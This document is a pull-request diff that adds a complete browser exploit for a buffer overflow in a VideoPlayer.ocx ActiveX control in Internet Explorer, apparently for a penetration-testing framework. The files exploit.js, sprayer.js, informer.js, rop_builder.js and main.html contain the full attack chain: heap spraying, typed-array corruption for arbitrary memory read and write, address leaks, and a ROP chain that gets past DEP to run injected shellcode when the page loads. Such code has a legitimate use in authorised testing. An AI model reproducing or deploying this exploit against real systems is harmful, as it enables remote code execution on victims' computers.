Merge pull request #2 from jvazquez-r7/mixin_design_3074

Move code from Rex to mixin

Author: Matthew Hall

data/exploits/edb-35948/js/exploit.js

@@ -0,0 +1,126 @@
+var Exploit = function () {
+    // create its vulnerable ActiveX object (as HTMLObjectElement)
+    this.obj = document.createElement("object");
+    this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
+    // perform controlled memwrite to 0x1111f010: typed array header is at
+    // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
+    // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
+    // The first 3 dwords are sideeffects due to the code we abuse for the
+    // controlled memcpy
+    this.whereAddress = 0x1111f010;
+    this.memory = null;
+    this.addresses = new Object();
+    this.sprayer = null;
+    this.informer = null;
+    this.sc = "<%=shellcode%>";
+};
+
+Exploit.prototype.run = function() {
+    CollectGarbage();
+    this.sprayer = new Sprayer();
+    this.sprayer.spray();
+
+    this.memory = this.doCorruption();
+
+    //alert(this.memory.length.toString(16))
+    if (this.memory.length != 0x7fffffff){
+        //alert("Cannot change Uint32Array length");
+        return -1;
+    }
+
+    // now we could even repair the change we did with memcpy ...
+
+    this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
+    var leakSuccess = this.leakAddresses();
+
+    if (leakSuccess != 0) {
+        //alert("Cannot leak required address to build the ROP chain");
+        return leakSuccess;
+    }
+
+    var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
+    ropBuilder.buildRop();
+
+    // manipulate object data to gain EIP control with "Play" method
+    var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
+    this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
+
+    // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
+    this.obj.Play()
+};
+
+Exploit.prototype.prepareOverflow = function() {
+    // prepare buffer with address we want to write to
+    var ptrBuf = "";
+    // fill buffer: length = relative pointer address - buffer start + pointer
+    // offset
+    while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
+    ptrBuf += this.dword2str(this.whereAddress);
+
+    return ptrBuf;
+};
+
+Exploit.prototype.doCorruption = function() {
+    var ptrBuf = this.prepareOverflow();
+
+    // trigger: overflow buffer and overwrite the pointer value after buffer
+    this.obj.SetText(ptrBuf, 0, 0);
+    //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
+
+    // use overwritten pointer after buffer with method "SetFontName" to conduct
+    // memory write.  We overwrite a typed array's header length to 0x40 and let
+    // its buffer point to the next typed array header at 0x1111f030 (see above)
+    this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
+
+
+    if (this.sprayer.find() == -1){
+        //alert("cannot find corrupted Uint32Array");
+        return -1
+    }
+
+    // modify subsequent Uint32Array to be able to RW all process memory
+    this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
+    this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
+
+    // our memory READWRITE interface :)
+    return this.sprayer.fullMemory;
+};
+
+Exploit.prototype.leakAddresses = function() {
+    this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
+
+    this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
+
+    // check if we have the image of VideoPlayer.ocx
+    // check for MZ9000 header and "Vide" string at offset 0x6a000
+    if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
+        this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
+        //alert("Cannot find VideoPlayer.ocx base or its version is wrong");
+        return -1;
+    }
+    //alert(this.addresses['base'].toString(16))
+
+    // get VirtualAlloc from imports of VideoPlayer.ocx
+    this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
+    // memcpy is available inside VideoPlayer.ocx
+    this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
+    //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
+
+    scBuf = new Uint8Array(this.sc.length);
+    for (n=0; n < this.sc.length; n++){
+        scBuf[n] = this.sc.charCodeAt(n);
+    }
+
+    this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
+
+    return 0;
+};
+
+// dword to little endian string
+Exploit.prototype.dword2str = function(dword) {
+    var str = "";
+    for (var n=0; n < 4; n++){
+        str += String.fromCharCode((dword >> 8 * n) & 0xff);
+    }
+    return str;
+};

data/exploits/edb-35948/js/informer.js

@@ -0,0 +1,52 @@
+var Informer = function(infArray, mem, ref) {
+    this.infoLeakArray = infArray;
+    this.memoryArray =  mem;
+    this.referenceAddress = ref;
+};
+
+// Calculate VideoPlayer.ocx base
+Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
+    this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
+    //alert(mem[0x11120020/4].toString(16))
+    var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
+    var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
+    var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
+    // deref heap pointer containing VideoPlayer.ocx pointer
+    var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
+    var base = videoplayerPtr - 0x6b3b0; // calculate base
+
+    return base;
+};
+
+// Calculate VideoPlayer object addres
+Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
+    this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
+    //alert(mem[0x11120020/4].toString(16))
+    var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
+    var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
+
+    return objPtr;
+};
+
+// Calculate the shellcode address
+Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
+    this.infoLeakArray[0] = shellcodeBuffer;
+    // therefore, leak array element at 0x11120020 (typed array header of
+    // Uint8Array containing shellcode) ...
+    var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
+    // ...and deref array element + 0x1c (=> leak shellcode's buffer address)
+    var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
+
+    return shellcodeAddr;
+};
+
+
+Informer.prototype.leakRopAddress = function(ropArray) {
+    this.infoLeakArray[0] = ropArray
+    // leak array element at 0x11120020 (typed array header)
+    var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
+    // deref array element + 0x1c (leak rop's buffer address)
+    var ropAddr = this.memoryArray[(elemPtr/4) + 7]  // payload address
+
+    return ropAddr;
+};

data/exploits/edb-35948/js/rop_builder.js

@@ -0,0 +1,38 @@
+var RopBuilder = function(informer, addresses, scLength) {
+    this.rop = new Uint32Array(0x1000);
+    this.ropAddress = informer.leakRopAddress(this.rop);
+    this.base = addresses['base'];
+    this.virtualAlloc = addresses['virtualAlloc'];
+    this.memcpy = addresses['memcpy'];
+    this.scAddr = addresses['shellcode'];
+    this.scLength = scLength;
+};
+
+// Build the ROP chain to bypass DEP
+RopBuilder.prototype.buildRop = function() {
+    // ROP chain (rets in comments are omitted)
+    // we perform:
+    // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
+    // memcpy(EAX, shellcode, shellcodeLen)
+    // (void(*)())EAX()
+    var offs = 0x30/4;                                 // offset to chain after CALL [EAX+0x30]
+    this.rop[0] = this.base + 0x1ff6;                  // ADD ESP, 0x30;
+    this.rop[offs + 0x0] = this.base + 0x1ea1e;        // XCHG EAX, ESP; <-- first gadget called
+    this.rop[offs + 0x1] = this.virtualAlloc;          // allocate RWX mem (address avail. in EAX)
+    this.rop[offs + 0x2] = this.base + 0x10e9;         // POP ECX; => pop the value at offs + 0x7
+    this.rop[offs + 0x3] = 0;                          // lpAddress
+    this.rop[offs + 0x4] = 0x4000;                     // dwSize (0x4000)
+    this.rop[offs + 0x5] = 0x1000;                     // flAllocationType (MEM_COMMIT)
+    this.rop[offs + 0x6] = 0x40;                       // flProtect (PAGE_EXECUTE_READWRITE)
+    this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4;  // points to memcpy's dst param (*2)
+    this.rop[offs + 0x8] = this.base + 0x1c743;        // MOV [ECX], EAX; => set dst to RWX mem
+    this.rop[offs + 0x9] = this.base + 0x10e9;         // POP ECX;
+    this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4;  // points to (*1) in chain
+    this.rop[offs + 0xb] = this.base + 0x1c743;        // MOV [ECX], EAX; => set return to RWX mem
+    this.rop[offs + 0xc] = this.memcpy;
+    this.rop[offs + 0xd] = 0xffffffff;                 // (*1): ret addr to RWX mem filled at runtime
+    this.rop[offs + 0xe] = 0xffffffff;                 // (*2): dst for memcpy filled at runtime
+    this.rop[offs + 0xf] = this.scAddr;                // shellcode src addr to copy to RWX mem (param2)
+    this.rop[offs + 0x10] = this.scLength;             // length  of shellcode (param3)
+};
+

data/exploits/edb-35948/js/sprayer.js

@@ -0,0 +1,58 @@
+var Sprayer = function () {
+    // amount of arrays to create on the heap
+    this.nrArrays = 0x1000;
+    // size of data in one array block: 0xefe0 bytes =>
+    // subract array header (0x20) and space for typed array headers (0x1000)
+    // from 0x10000
+    this.arrSize =  (0x10000-0x20-0x1000)/4;
+    // heap array container will hold our heap sprayed data
+    this.arr = new Array(this.nrArrays);
+    // use one buffer for all typed arrays
+    this.intArrBuf = new ArrayBuffer(4);
+    this.corruptedArray = null;
+    this.corruptedArrayNext = null;
+};
+
+// Spray the heap with array data blocks and subsequent typed array headers
+// of type Uint32Array
+Sprayer.prototype.spray = function() {
+    var k = 0;
+    while(k < this.nrArrays) {
+        // create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
+        // aligned at 0xXXXX0020)
+        this.arr[k] = new Array(this.arrSize);
+
+        // fill remaining page (0x1000) after array data with headers of
+        // "jscript9!Js::TypedArray<unsigned int>"  (0x55 * 0x30 = 0xff0) as a
+        // typed array header has the size of 0x30. 0x10 bytes are left empty
+        for(var i = 0; i < 0x55; i++){
+            // headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
+            this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
+        }
+
+        // tag the array's last element
+        this.arr[k][this.arrSize - 1] = 0x12121212;
+        k += 1;
+    }
+};
+
+// Find the corrupted Uint32Array (typed array)
+Sprayer.prototype.find = function() {
+    var k = 0;
+
+    while(k < this.nrArrays - 1) {
+        for(var i = 0; i < 0x55-1; i++){
+            if(this.arr[k][i][0] != 0){
+                // address of jscript9!Js::TypedArray<unsigned int>::`vftable'
+                // alert("0x" + arr[k][i][0].toString(16))
+                this.corruptedArray = this.arr[k][i];
+                this.corruptedArrayNext = this.arr[k+1];
+                this.fullMemory = this.arr[k][i+1];
+                return 1;
+            }
+        }
+        k++;
+    }
+
+    return -1;
+};

data/exploits/edb-35948/main.html

@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <script src="js/exploit.js"></script>
+    <script src="js/sprayer.js"></script>
+    <script src="js/informer.js"></script>
+    <script src="js/rop_builder.js"></script>
+</head>
+<body onload="e = new Exploit(); e.run();">
+</body>
+</html>